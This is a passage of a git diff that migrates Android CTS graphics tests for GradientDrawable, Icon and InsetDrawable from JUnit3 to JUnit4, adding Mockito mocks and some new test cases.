         float[] radii = new float[] {1.0f, 2.0f, 3.0f};
 
@@ -115,7 +133,7 @@
         gradientDrawable.setCornerRadii(null);
     }
 
-    @SmallTest
+    @Test
     public void testSetCornerRadius() {
         GradientDrawable gradientDrawable = new GradientDrawable();
 
@@ -123,7 +141,21 @@
         gradientDrawable.setCornerRadius(-2.5f);
     }
 
-    @SmallTest
+    @Test
+    public void testGetCornerRadius() {
+        GradientDrawable gradientDrawable = new GradientDrawable();
+        gradientDrawable.setCornerRadius(5.5f);
+        assertEquals(gradientDrawable.getCornerRadius(), 5.5f, 0);
+        float[] radii = new float[] {1.0f, 2.0f, 3.0f};
+        gradientDrawable.setCornerRadii(radii);
+        assertEquals(5.5f, gradientDrawable.getCornerRadius(), 0);
+        gradientDrawable.setShape(GradientDrawable.OVAL);
+        assertEquals(5.5f, gradientDrawable.getCornerRadius(), 0);
+        gradientDrawable.setCornerRadii(null);
+        assertEquals(0, gradientDrawable.getCornerRadius(), 0);
+    }
+
+    @Test
     public void testSetStroke() {
         helpTestSetStroke(2, Color.RED);
         helpTestSetStroke(-2, Color.TRANSPARENT);
@@ -136,64 +168,64 @@
         // TODO: Verify stroke properties.
     }
 
-    @SmallTest
+    @Test
     public void testSetStroke_WidthGap() {
-        helpTestSetStroke_WidthGap(2, Color.RED, 3.4f, 5.5f);
-        helpTestSetStroke_WidthGap(-2, Color.TRANSPARENT, -3.4f, -5.5f);
-        helpTestSetStroke_WidthGap(0, 0, 0, (float) 0.0f);
+        verifySetStroke_WidthGap(2, Color.RED, 3.4f, 5.5f);
+        verifySetStroke_WidthGap(-2, Color.TRANSPARENT, -3.4f, -5.5f);
+        verifySetStroke_WidthGap(0, 0, 0, (float) 0.0f);
     }
 
-    private void helpTestSetStroke_WidthGap(int width, int color,
+    private void verifySetStroke_WidthGap(int width, int color,
             float dashWidth, float dashGap) {
         GradientDrawable gradientDrawable = new GradientDrawable();
         gradientDrawable.setStroke(width, color, dashWidth, dashGap);
         // TODO: Verify stroke properties.
     }
 
-    @SmallTest
+    @Test
     public void testSetStrokeList() {
-        helpTestSetStrokeList(2, ColorStateList.valueOf(Color.RED));
-        helpTestSetStrokeList(-2, ColorStateList.valueOf(Color.TRANSPARENT));
-        helpTestSetStrokeList(0, null);
+        verifySetStrokeList(2, ColorStateList.valueOf(Color.RED));
+        verifySetStrokeList(-2, ColorStateList.valueOf(Color.TRANSPARENT));
+        verifySetStrokeList(0, null);
     }
 
-    private void helpTestSetStrokeList(int width,
+    private void verifySetStrokeList(int width,
             ColorStateList colorList) {
         GradientDrawable gradientDrawable = new GradientDrawable();
         gradientDrawable.setStroke(width, colorList);
         // TODO: Verify stroke properties.
     }
 
-    @SmallTest
+    @Test
     public void testSetStrokeList_WidthGap() {
-        helpTestSetStrokeList_WidthGap(2, ColorStateList.valueOf(Color.RED), 3.4f, 5.5f);
-        helpTestSetStrokeList_WidthGap(-2, ColorStateList.valueOf(Color.TRANSPARENT), -3.4f, -5.5f);
-        helpTestSetStrokeList_WidthGap(0, null, 0.0f, 0.0f);
+        verifySetStrokeList_WidthGap(2, ColorStateList.valueOf(Color.RED), 3.4f, 5.5f);
+        verifySetStrokeList_WidthGap(-2, ColorStateList.valueOf(Color.TRANSPARENT), -3.4f, -5.5f);
+        verifySetStrokeList_WidthGap(0, null, 0.0f, 0.0f);
     }
 
-    private void helpTestSetStrokeList_WidthGap(int width, ColorStateList colorList,
+    private void verifySetStrokeList_WidthGap(int width, ColorStateList colorList,
             float dashWidth, float dashGap) {
         GradientDrawable gradientDrawable = new GradientDrawable();
         gradientDrawable.setStroke(width, colorList, dashWidth, dashGap);
         // TODO: Verify stroke properties.
     }
 
-    @SmallTest
+    @Test
     public void testSetSize() {
-        helpTestSetSize(6, 4);
-        helpTestSetSize(-30, -40);
-        helpTestSetSize(0, 0);
-        helpTestSetSize(Integer.MAX_VALUE, Integer.MIN_VALUE);
+        verifySetSize(6, 4);
+        verifySetSize(-30, -40);
+        verifySetSize(0, 0);
+        verifySetSize(Integer.MAX_VALUE, Integer.MIN_VALUE);
     }
 
-    private void helpTestSetSize(int width, int height) {
+    private void verifySetSize(int width, int height) {
         GradientDrawable gradientDrawable = new GradientDrawable();
         gradientDrawable.setSize(width, height);
         assertEquals(width, gradientDrawable.getIntrinsicWidth());
         assertEquals(height, gradientDrawable.getIntrinsicHeight());
     }
 
-    @SmallTest
+    @Test
     public void testSetShape() {
         GradientDrawable gradientDrawable = new GradientDrawable();
         int shape;
@@ -209,7 +241,7 @@
                 shape, gradientDrawable.getShape());
     }
 
-    @SmallTest
+    @Test
     public void testSetGradientType() {
         GradientDrawable gradientDrawable = new GradientDrawable();
         int gradientType;
@@ -225,7 +257,7 @@
                 gradientType, gradientDrawable.getGradientType());
     }
 
-    @SmallTest
+    @Test
     public void testSetGradientCenter() {
         GradientDrawable gradientDrawable = new GradientDrawable();
         float centerX;
@@ -245,11 +277,11 @@
         centerX = 0.0f;
         centerY = 0.0f;
         gradientDrawable.setGradientCenter(centerX, centerY);
-        assertEquals(centerX, gradientDrawable.getGradientCenterX());
-        assertEquals(centerY, gradientDrawable.getGradientCenterY());
+        assertEquals(centerX, gradientDrawable.getGradientCenterX(), 0.01f);
+        assertEquals(centerY, gradientDrawable.getGradientCenterY(), 0.01f);
     }
 
-    @SmallTest
+    @Test
     public void testSetGradientRadius() {
         GradientDrawable gradientDrawable = new GradientDrawable();
 
@@ -257,7 +289,7 @@
         gradientDrawable.setGradientRadius(-3.6f);
     }
 
-    @SmallTest
+    @Test
     public void testSetUseLevel() {
         GradientDrawable gradientDrawable = new GradientDrawable();
         boolean useLevel;
@@ -275,7 +307,7 @@
                 useLevel, gradientDrawable.getUseLevel());
     }
 
-    @SmallTest
+    @Test
     public void testDraw() {
         GradientDrawable gradientDrawable = new GradientDrawable();
         Canvas c = new Canvas();
@@ -285,7 +317,7 @@
         gradientDrawable.draw(null);
     }
 
-    @SmallTest
+    @Test
     public void testSetColor() {
         GradientDrawable gradientDrawable = new GradientDrawable();
         int color;
@@ -301,7 +333,7 @@
                 gradientDrawable.getColor().getDefaultColor());
     }
 
-    @SmallTest
+    @Test
     public void testSetColors() {
         GradientDrawable gradientDrawable = new GradientDrawable();
         int[] colors;
@@ -317,7 +349,7 @@
                 colors, gradientDrawable.getColors());
     }
 
-    @SmallTest
+    @Test
     public void testSetColorList() {
         GradientDrawable gradientDrawable = new GradientDrawable();
         ColorStateList color;
@@ -331,7 +363,7 @@
         assertEquals("Color was set to null (TRANSPARENT)", color, gradientDrawable.getColor());
     }
 
-    @SmallTest
+    @Test
     public void testGetChangingConfigurations() {
         GradientDrawable gradientDrawable = new GradientDrawable();
         assertEquals(0, gradientDrawable.getChangingConfigurations());
@@ -343,7 +375,7 @@
         assertEquals(-20, gradientDrawable.getChangingConfigurations());
     }
 
-    @SmallTest
+    @Test
     public void testSetAlpha() {
         GradientDrawable gradientDrawable = new GradientDrawable();
 
@@ -351,7 +383,7 @@
         gradientDrawable.setAlpha(-1);
     }
 
-    @SmallTest
+    @Test
     public void testSetDither() {
         GradientDrawable gradientDrawable = new GradientDrawable();
 
@@ -359,7 +391,7 @@
         gradientDrawable.setDither(false);
     }
 
-    @SmallTest
+    @Test
     public void testSetColorFilter() {
         GradientDrawable gradientDrawable = new GradientDrawable();
         ColorFilter cf = new ColorFilter();
@@ -369,7 +401,7 @@
         gradientDrawable.setColorFilter(null);
     }
 
-    @SmallTest
+    @Test
     public void testInflate() throws XmlPullParserException, IOException {
         GradientDrawable gradientDrawable = new GradientDrawable();
         Rect rect = new Rect();
@@ -379,8 +411,7 @@
         assertEquals(0, rect.right);
         assertEquals(0, rect.bottom);
 
-        Resources resources = mContext.getResources();
-        XmlPullParser parser = resources.getXml(R.drawable.gradientdrawable);
+        XmlPullParser parser = mResources.getXml(R.drawable.gradientdrawable);
         AttributeSet attrs = Xml.asAttributeSet(parser);
 
         // find the START_TAG
@@ -392,7 +423,7 @@
         assertEquals(XmlPullParser.START_TAG, type);
 
         // padding is set in gradientdrawable.xml
-        gradientDrawable.inflate(resources, parser, attrs);
+        gradientDrawable.inflate(mResources, parser, attrs);
         assertTrue(gradientDrawable.getPadding(rect));
         assertEquals(4, rect.left);
         assertEquals(2, rect.top);
@@ -414,28 +445,27 @@
         }
     }
 
-    @SmallTest
+    @Test
     public void testInflateGradientRadius() throws XmlPullParserException, IOException {
         Rect parentBounds = new Rect(0, 0, 100, 100);
-        Resources resources = mContext.getResources();
 
         GradientDrawable gradientDrawable;
         float radius;
 
-        gradientDrawable = (GradientDrawable) resources.getDrawable(
+        gradientDrawable = (GradientDrawable) mResources.getDrawable(
                 R.drawable.gradientdrawable_radius_base);
         gradientDrawable.setBounds(parentBounds);
         radius = gradientDrawable.getGradientRadius();
         assertEquals(25.0f, radius, 0.0f);
 
-        gradientDrawable = (GradientDrawable) resources.getDrawable(
+        gradientDrawable = (GradientDrawable) mResources.getDrawable(
                 R.drawable.gradientdrawable_radius_parent);
         gradientDrawable.setBounds(parentBounds);
         radius = gradientDrawable.getGradientRadius();
         assertEquals(50.0f, radius, 0.0f);
     }
 
-    @SmallTest
+    @Test
     public void testGetIntrinsicWidth() {
         GradientDrawable gradientDrawable = new GradientDrawable();
         gradientDrawable.setSize(6, 4);
@@ -445,7 +475,7 @@
         assertEquals(-10, gradientDrawable.getIntrinsicWidth());
     }
 
-    @SmallTest
+    @Test
     public void testGetIntrinsicHeight() {
         GradientDrawable gradientDrawable = new GradientDrawable();
         gradientDrawable.setSize(5, 3);
@@ -455,18 +485,20 @@
         assertEquals(-15, gradientDrawable.getIntrinsicHeight());
     }
 
-    @SmallTest
+    @Test
     public void testGetConstantState() {
         GradientDrawable gradientDrawable = new GradientDrawable();
         assertNotNull(gradientDrawable.getConstantState());
     }
 
-    @SmallTest
+    @Test
     public void testMutate() {
-        Resources resources = mContext.getResources();
-        GradientDrawable d1 = (GradientDrawable) resources.getDrawable(R.drawable.gradientdrawable);
-        GradientDrawable d2 = (GradientDrawable) resources.getDrawable(R.drawable.gradientdrawable);
-        GradientDrawable d3 = (GradientDrawable) resources.getDrawable(R.drawable.gradientdrawable);
+        GradientDrawable d1 =
+                (GradientDrawable) mResources.getDrawable(R.drawable.gradientdrawable);
+        GradientDrawable d2 =
+                (GradientDrawable) mResources.getDrawable(R.drawable.gradientdrawable);
+        GradientDrawable d3 =
+                (GradientDrawable) mResources.getDrawable(R.drawable.gradientdrawable);
 
         d1.setSize(10, 10);
         assertEquals(10, d1.getIntrinsicHeight());
@@ -494,18 +526,29 @@
         assertEquals(40, d3.getIntrinsicWidth());
     }
 
-    @MediumTest
+    @Test
     public void testPreloadDensity() throws XmlPullParserException, IOException {
-        final Resources res = getContext().getResources();
-        final int densityDpi = res.getConfiguration().densityDpi;
+        final int densityDpi = mResources.getConfiguration().densityDpi;
         try {
-            testPreloadDensityInner(res, densityDpi);
+            DrawableTestUtils.setResourcesDensity(mResources, densityDpi);
+            verifyPreloadDensityInner(mResources, densityDpi);
         } finally {
-            DrawableTestUtils.setResourcesDensity(res, densityDpi);
+            DrawableTestUtils.setResourcesDensity(mResources, densityDpi);
         }
     }
 
-    private void testPreloadDensityInner(Resources res, int densityDpi)
+    @Test
+    public void testPreloadDensity_tvdpi() throws XmlPullParserException, IOException {
+        final int densityDpi = mResources.getConfiguration().densityDpi;
+        try {
+            DrawableTestUtils.setResourcesDensity(mResources, 213);
+            verifyPreloadDensityInner(mResources, 213);
+        } finally {
+            DrawableTestUtils.setResourcesDensity(mResources, densityDpi);
+        }
+    }
+
+    private void verifyPreloadDensityInner(Resources res, int densityDpi)
             throws XmlPullParserException, IOException {
         final Rect tempPadding = new Rect();
 
@@ -520,15 +563,17 @@
         final Rect origPadding = new Rect();
         preloadedDrawable.getPadding(origPadding);
 
-        // Set density to half of original. Unlike offsets, which are
+        // Set density to approximately half of original. Unlike offsets, which are
         // truncated, dimensions are rounded to the nearest pixel.
         DrawableTestUtils.setResourcesDensity(res, densityDpi / 2);
         final GradientDrawable halfDrawable =
                 (GradientDrawable) preloadedConstantState.newDrawable(res);
-        assertEquals(Math.round(origWidth / 2f), halfDrawable.getIntrinsicWidth());
-        assertEquals(Math.round(origHeight / 2f), halfDrawable.getIntrinsicHeight());
+        // NOTE: densityDpi may not be an even number, so account for *actual* scaling in asserts
+        final float approxHalf = (float)(densityDpi / 2) / densityDpi;
+        assertEquals(Math.round(origWidth * approxHalf), halfDrawable.getIntrinsicWidth());
+        assertEquals(Math.round(origHeight * approxHalf), halfDrawable.getIntrinsicHeight());
         assertTrue(halfDrawable.getPadding(tempPadding));
-        assertEquals((int) (origPadding.left / 2f), tempPadding.left);
+        assertEquals((int) (origPadding.left * approxHalf), tempPadding.left);
 
         // Set density to double original.
         DrawableTestUtils.setResourcesDensity(res, densityDpi * 2);
@@ -548,20 +593,21 @@
         assertTrue(origDrawable.getPadding(tempPadding));
         assertEquals(origPadding, tempPadding);
 
-        // Some precision is lost when scaling the half-density
-        // drawable back up to the original density. Padding is
-        // always truncated, rather than rounded.
+        // Reproduce imprecise truncated scale down, and back up. Note these aren't rounded.
+        final float approxDouble = 1 / approxHalf;
         final Rect sloppyOrigPadding = new Rect();
-        sloppyOrigPadding.left = 2 * (origPadding.left / 2);
-        sloppyOrigPadding.top = 2 * (origPadding.top / 2);
-        sloppyOrigPadding.right = 2 * (origPadding.right / 2);
-        sloppyOrigPadding.bottom = 2 * (origPadding.bottom / 2);
+        sloppyOrigPadding.left = (int)(approxDouble * ((int)(origPadding.left * approxHalf)));
+        sloppyOrigPadding.top = (int)(approxDouble * ((int)(origPadding.top * approxHalf)));
+        sloppyOrigPadding.right = (int)(approxDouble * ((int)(origPadding.right * approxHalf)));
+        sloppyOrigPadding.bottom = (int)(approxDouble * ((int)(origPadding.bottom * approxHalf)));
 
         // Ensure theme density is applied correctly.
         final Theme t = res.newTheme();
         halfDrawable.applyTheme(t);
-        assertEquals(2 * Math.round(origWidth / 2f), halfDrawable.getIntrinsicWidth());
-        assertEquals(2 * Math.round(origHeight / 2f), halfDrawable.getIntrinsicHeight());
+        assertEquals(Math.round(approxDouble * Math.round(origWidth * approxHalf)),
+                halfDrawable.getIntrinsicWidth());
+        assertEquals(Math.round(approxDouble * Math.round(origHeight * approxHalf)),
+                halfDrawable.getIntrinsicHeight());
         assertTrue(halfDrawable.getPadding(tempPadding));
         assertEquals(sloppyOrigPadding, tempPadding);
         doubleDrawable.applyTheme(t);
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/IconTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/IconTest.java
index 299eaf0..e58b402 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/IconTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/IconTest.java
@@ -16,169 +16,134 @@
 
 package android.graphics.drawable.cts;
 
-import android.graphics.cts.R;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.mockito.Matchers.any;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
 
 import android.app.Activity;
-import android.app.Instrumentation;
 import android.content.res.ColorStateList;
 import android.graphics.Bitmap;
-import android.graphics.cts.ImageViewCtsActivity;
-import android.graphics.drawable.Icon;
-import android.graphics.drawable.Drawable;
 import android.graphics.Color;
 import android.graphics.PorterDuff;
+import android.graphics.cts.ImageViewCtsActivity;
+import android.graphics.cts.R;
+import android.graphics.drawable.Icon;
 import android.net.Uri;
 import android.os.Handler;
 import android.os.Message;
 import android.os.Parcel;
-import android.test.ActivityInstrumentationTestCase2;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 import java.io.File;
 import java.io.FileOutputStream;
-import java.io.InputStream;
 import java.io.IOException;
+import java.io.InputStream;
 import java.io.OutputStream;
 
-public class IconTest extends ActivityInstrumentationTestCase2<ImageViewCtsActivity> {
-    static final long TIMEOUT = 1000;
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class IconTest {
+    private static final long TIMEOUT_MS = 1000;
 
-    Activity mActivity;
-    Instrumentation mInstrumentation;
-    Icon mIcon;
+    private Activity mActivity;
+    private Icon mIcon;
 
-    MockOnDrawableLoadedListener mListener;
-    MockRunner mRunner;
+    @Rule
+    public ActivityTestRule<ImageViewCtsActivity> mActivityRule =
+            new ActivityTestRule<>(ImageViewCtsActivity.class);
 
-    public IconTest() {
-        super("android.graphics.cts", ImageViewCtsActivity.class);
+    @Before
+    public void setup() {
+        mActivity = mActivityRule.getActivity();
     }
 
-    @Override
-    public void setUp() throws Exception {
-        super.setUp();
-        mActivity = getActivity();
-        mInstrumentation = getInstrumentation();
-    }
-
+    @Test
     public void testBitmapIcon() {
-        checkIconValidity(
+        verifyIconValidity(
                 Icon.createWithBitmap(Bitmap.createBitmap(16, 16, Bitmap.Config.ARGB_8888)));
     }
 
+    @Test
     public void testDataIcon() {
         byte[] data = new byte[4];
         data[0] = data[1] = data[2] = data[3] = (byte)255;
-        checkIconValidity(Icon.createWithData(data, 0, 4));
+        verifyIconValidity(Icon.createWithData(data, 0, 4));
     }
 
+    @Test
     public void testFileIcon() throws IOException {
         File file = new File(mActivity.getFilesDir(), "testimage.jpg");
         try {
             writeSampleImage(file);
             assertTrue(file.exists());
 
-            checkIconValidity(Icon.createWithFilePath(file.getPath()));
+            verifyIconValidity(Icon.createWithFilePath(file.getPath()));
 
-            checkIconValidity(Icon.createWithContentUri(Uri.fromFile(file)));
+            verifyIconValidity(Icon.createWithContentUri(Uri.fromFile(file)));
 
-            checkIconValidity(Icon.createWithContentUri(file.toURI().toString()));
+            verifyIconValidity(Icon.createWithContentUri(file.toURI().toString()));
         } finally {
             file.delete();
         }
     }
 
+    @Test
     public void testResourceIcon() {
-        checkIconValidity(Icon.createWithResource(mActivity, R.drawable.bmp_test));
+        verifyIconValidity(Icon.createWithResource(mActivity, R.drawable.bmp_test));
 
-        checkIconValidity(Icon.createWithResource(mActivity.getPackageName(), R.drawable.bmp_test));
+        verifyIconValidity(Icon.createWithResource(
+                mActivity.getPackageName(), R.drawable.bmp_test));
     }
 
-    public void testLoadDrawableAsync() {
+    @Test
+    public void testLoadDrawableAsync() throws Throwable {
         mIcon = Icon.createWithBitmap(Bitmap.createBitmap(16, 16, Bitmap.Config.ARGB_8888));
 
-        mListener = new MockOnDrawableLoadedListener();
-        mInstrumentation.runOnMainSync(new Runnable() {
-            @Override
-            public void run() {
-                mIcon.loadDrawableAsync(mActivity, mListener, new Handler());
-            }
-        });
-        sleep(TIMEOUT);
-
-        assertEquals(1, mListener.getLoadedCount());
+        Icon.OnDrawableLoadedListener mockListener = mock(Icon.OnDrawableLoadedListener.class);
+        mActivityRule.runOnUiThread(
+                () -> mIcon.loadDrawableAsync(mActivity, mockListener, new Handler()));
+        // Verify that there was exactly one call to the passed listener's callback within the
+        // predetermined timeout
+        Thread.sleep(TIMEOUT_MS);
+        verify(mockListener, times(1)).onDrawableLoaded(any());
     }
 
-    public void testLoadDrawableAsyncWithMessage() {
+    @Test
+    public void testLoadDrawableAsyncWithMessage() throws Throwable {
         mIcon = Icon.createWithBitmap(Bitmap.createBitmap(16, 16, Bitmap.Config.ARGB_8888));
 
-        mRunner = new MockRunner();
-        mInstrumentation.runOnMainSync(new Runnable() {
-            @Override
-            public void run() {
-                mIcon.loadDrawableAsync(mActivity, Message.obtain(new Handler(), mRunner));
-            }
-        });
-        sleep(TIMEOUT);
-
-        assertEquals(1, mRunner.getRunCount());
-    }
-
-    class MockOnDrawableLoadedListener implements Icon.OnDrawableLoadedListener {
-        int mLoadedCount;
-
-        @Override
-        public void onDrawableLoaded(Drawable d) {
-            assertNotNull(d);
-            ++mLoadedCount;
-        }
-
-        int getLoadedCount() { return mLoadedCount; }
-    }
-
-    class MockRunner implements Runnable {
-        int mRun;
-
-        @Override
-        public void run() {
-            ++mRun;
-        }
-
-        int getRunCount() { return mRun; }
-    };
-
-    private void sleep(long time) {
-        try {
-            Thread.sleep(time);
-        } catch (InterruptedException e) {
-            fail(e.getMessage());
-        }
+        Runnable mockRunnable = mock(Runnable.class);
+        mActivityRule.runOnUiThread(
+                () -> mIcon.loadDrawableAsync(mActivity, Message.obtain(new Handler(),
+                        mockRunnable)));
+        // Verify that there was exactly one call to the passed Runnable's run within the
+        // predetermined timeout
+        Thread.sleep(TIMEOUT_MS);
+        verify(mockRunnable, times(1)).run();
     }
 
     private void writeSampleImage(File imagefile) throws IOException {
-        InputStream source = null;
-        OutputStream target = null;
-
-        try {
-            source = mActivity.getResources().openRawResource(R.drawable.testimage);
-            target = new FileOutputStream(imagefile);
-
+        try (InputStream source = mActivity.getResources().openRawResource(R.drawable.testimage);
+             OutputStream target = new FileOutputStream(imagefile)) {
             byte[] buffer = new byte[1024];
             for (int len = source.read(buffer); len >= 0; len = source.read(buffer)) {
                 target.write(buffer, 0, len);
             }
-        } finally {
-            if (target != null) {
-                target.close();
-            }
-
-            if (source != null) {
-                source.close();
-            }
         }
     }
 
     // Check if the created icon is valid and doesn't cause crashes for the public methods.
-    private void checkIconValidity(Icon icon) {
+    private void verifyIconValidity(Icon icon) {
         assertNotNull(icon);
 
         // tint properties.
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/InsetDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/InsetDrawableTest.java
index 8f6eb63..fd1ed3e 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/InsetDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/InsetDrawableTest.java
@@ -16,41 +16,72 @@
 
 package android.graphics.drawable.cts;
 
-import org.xmlpull.v1.XmlPullParser;
-import org.xmlpull.v1.XmlPullParserException;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
 
+import android.content.Context;
 import android.content.res.Resources;
 import android.content.res.Resources.Theme;
 import android.content.res.XmlResourceParser;
+import android.graphics.Bitmap;
+import android.graphics.Bitmap.Config;
 import android.graphics.Canvas;
 import android.graphics.ColorFilter;
 import android.graphics.PixelFormat;
 import android.graphics.Rect;
 import android.graphics.cts.R;
 import android.graphics.drawable.Drawable;
+import android.graphics.drawable.BitmapDrawable;
 import android.graphics.drawable.Drawable.ConstantState;
 import android.graphics.drawable.InsetDrawable;
-import android.test.AndroidTestCase;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.StateSet;
 import android.util.Xml;
 import android.view.InflateException;
 
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.xmlpull.v1.XmlPullParser;
+import org.xmlpull.v1.XmlPullParserException;
+
 import java.io.IOException;
 import java.util.Arrays;
 
-public class InsetDrawableTest extends AndroidTestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class InsetDrawableTest {
+    private Context mContext;
+    private Drawable mPassDrawable;
+    private InsetDrawable mInsetDrawable;
 
+    @Before
+    public void setup() {
+        mContext = InstrumentationRegistry.getTargetContext();
+        mPassDrawable = mContext.getDrawable(R.drawable.pass);
+        mInsetDrawable = new InsetDrawable(mPassDrawable, 0);
+    }
+
+    @Test
     public void testConstructor() {
-        Drawable d = mContext.getDrawable(R.drawable.pass);
-        new InsetDrawable(d, 1);
-        new InsetDrawable(d, 1, 1, 1, 1);
+        new InsetDrawable(mPassDrawable, 1);
+        new InsetDrawable(mPassDrawable, 1, 1, 1, 1);
 
         new InsetDrawable(null, -1);
         new InsetDrawable(null, -1, -1, -1, -1);
+
+        new InsetDrawable(mPassDrawable, .1f);
+        new InsetDrawable(mPassDrawable, .1f, .1f, .1f, .1f);
     }
 
-    public void testInflate() {
+    @Test
+    public void testInflate() throws Throwable {
         InsetDrawable insetDrawable = new InsetDrawable(null, 0);
 
         Resources r = mContext.getResources();
@@ -62,93 +93,63 @@
             fail("There should be an InflateException thrown out.");
         } catch (InflateException e) {
             // expected, test success
-        } catch (IOException e) {
-            fail("There should not be an IOException thrown out.");
-        } catch (XmlPullParserException e) {
-            fail("There should not be a XmlPullParserException thrown out.");
-        }
-
-        // input null as params
-        try {
-            insetDrawable.inflate(null, null, null);
-            fail("There should be a NullPointerException thrown out.");
-        } catch (NullPointerException e) {
-            // expected, test success
-        } catch (IOException e) {
-            fail("There should not be an IOException thrown out.");
-        } catch (XmlPullParserException e) {
-            fail("There should not be a XmlPullParserException thrown out.");
         }
     }
 
+
+    @Test(expected=NullPointerException.class)
+    public void testInflateNull() throws Throwable {
+        InsetDrawable insetDrawable = new InsetDrawable(null, 0);
+
+        insetDrawable.inflate(null, null, null);
+    }
+
+    @Test
     public void testInvalidateDrawable() {
-        Drawable d = mContext.getDrawable(R.drawable.pass);
-        InsetDrawable insetDrawable = new InsetDrawable(d, 0);
-
-        insetDrawable.invalidateDrawable(d);
+        mInsetDrawable.invalidateDrawable(mPassDrawable);
     }
 
+    @Test
     public void testScheduleDrawable() {
-        Drawable d = mContext.getDrawable(R.drawable.pass);
-        InsetDrawable insetDrawable = new InsetDrawable(d, 0);
-
-        Runnable runnable = new Runnable() {
-            public void run() {
-            }
-        };
-        insetDrawable.scheduleDrawable(d, runnable, 10);
+        mInsetDrawable.scheduleDrawable(mPassDrawable, () -> {}, 10);
 
         // input null as params
-        insetDrawable.scheduleDrawable(null, null, -1);
+        mInsetDrawable.scheduleDrawable(null, null, -1);
         // expected, no Exception thrown out, test success
     }
 
+    @Test
     public void testUnscheduleDrawable() {
-        Drawable d = mContext.getDrawable(R.drawable.pass);
-        InsetDrawable insetDrawable = new InsetDrawable(d, 0);
-
-        Runnable runnable = new Runnable() {
-            public void run() {
-            }
-        };
-        insetDrawable.unscheduleDrawable(d, runnable);
+        mInsetDrawable.unscheduleDrawable(mPassDrawable, () -> {});
 
         // input null as params
-        insetDrawable.unscheduleDrawable(null, null);
+        mInsetDrawable.unscheduleDrawable(null, null);
         // expected, no Exception thrown out, test success
     }
 
+    @Test
     public void testDraw() {
-        Drawable d = mContext.getDrawable(R.drawable.pass);
-        InsetDrawable insetDrawable = new InsetDrawable(d, 0);
-
         Canvas c = new Canvas();
-        insetDrawable.draw(c);
-
-        // input null as param
-        try {
-            insetDrawable.draw(null);
-            fail("There should be a NullPointerException thrown out.");
-        } catch (NullPointerException e) {
-            // expected, test success
-        }
+        mInsetDrawable.draw(c);
     }
 
+    @Test(expected=NullPointerException.class)
+    public void testDrawNull() {
+        mInsetDrawable.draw(null);
+    }
+
+    @Test
     public void testGetChangingConfigurations() {
-        Drawable d = mContext.getDrawable(R.drawable.pass);
-        InsetDrawable insetDrawable = new InsetDrawable(d, 0);
+        mInsetDrawable.setChangingConfigurations(11);
+        assertEquals(11, mInsetDrawable.getChangingConfigurations());
 
-        insetDrawable.setChangingConfigurations(11);
-        assertEquals(11, insetDrawable.getChangingConfigurations());
-
-        insetDrawable.setChangingConfigurations(-21);
-        assertEquals(-21, insetDrawable.getChangingConfigurations());
+        mInsetDrawable.setChangingConfigurations(-21);
+        assertEquals(-21, mInsetDrawable.getChangingConfigurations());
     }
 
-    public void testGetPadding() {
-        Drawable d = mContext.getDrawable(R.drawable.pass);
-        InsetDrawable insetDrawable = new InsetDrawable(d, 1, 2, 3, 4);
-
+    @Test
+    public void testGetPadding_dimension() {
+        InsetDrawable insetDrawable = new InsetDrawable(mPassDrawable, 1, 2, 3, 4);
         Rect r = new Rect();
         assertEquals(0, r.left);
         assertEquals(0, r.top);
@@ -163,7 +164,7 @@
         assertEquals(4, r.bottom);
 
         // padding is set to 0, then return value should be false
-        insetDrawable = new InsetDrawable(d, 0);
+        insetDrawable = new InsetDrawable(mPassDrawable, .0f);
 
         r = new Rect();
         assertEquals(0, r.left);
@@ -177,90 +178,114 @@
         assertEquals(0, r.top);
         assertEquals(0, r.right);
         assertEquals(0, r.bottom);
-
-        // input null as param
-        try {
-            insetDrawable.getPadding(null);
-            fail("There should be a NullPointerException thrown out.");
-        } catch (NullPointerException e) {
-            // expected, test success
-        }
     }
 
+    @Test
+    public void testGetPadding_fraction() {
+        InsetDrawable insetDrawable = new InsetDrawable(mPassDrawable, .1f, .2f, .3f, .4f);
+        insetDrawable.setBounds(0, 0, 10, 10);
+        Rect r = new Rect();
+        assertEquals(0, r.left);
+        assertEquals(0, r.top);
+        assertEquals(0, r.right);
+        assertEquals(0, r.bottom);
+
+        assertTrue(insetDrawable.getPadding(r));
+
+        assertEquals(1, r.left);
+        assertEquals(2, r.top);
+        assertEquals(3, r.right);
+        assertEquals(4, r.bottom);
+
+        // padding is set to 0, then return value should be false
+        insetDrawable = new InsetDrawable(mPassDrawable, 0);
+
+        r = new Rect();
+        assertEquals(0, r.left);
+        assertEquals(0, r.top);
+        assertEquals(0, r.right);
+        assertEquals(0, r.bottom);
+
+        assertFalse(insetDrawable.getPadding(r));
+
+        assertEquals(0, r.left);
+        assertEquals(0, r.top);
+        assertEquals(0, r.right);
+        assertEquals(0, r.bottom);
+    }
+
+    @Test(expected=NullPointerException.class)
+    public void testGetPaddingNull() {
+        InsetDrawable insetDrawable = new InsetDrawable(mPassDrawable, 1, 2, 3, 4);
+        insetDrawable.getPadding(null);
+    }
+
+    @Test
     public void testSetVisible() {
-        Drawable d = mContext.getDrawable(R.drawable.pass);
-        InsetDrawable insetDrawable = new InsetDrawable(d, 0);
-
-        assertFalse(insetDrawable.setVisible(true, true)); /* unchanged */
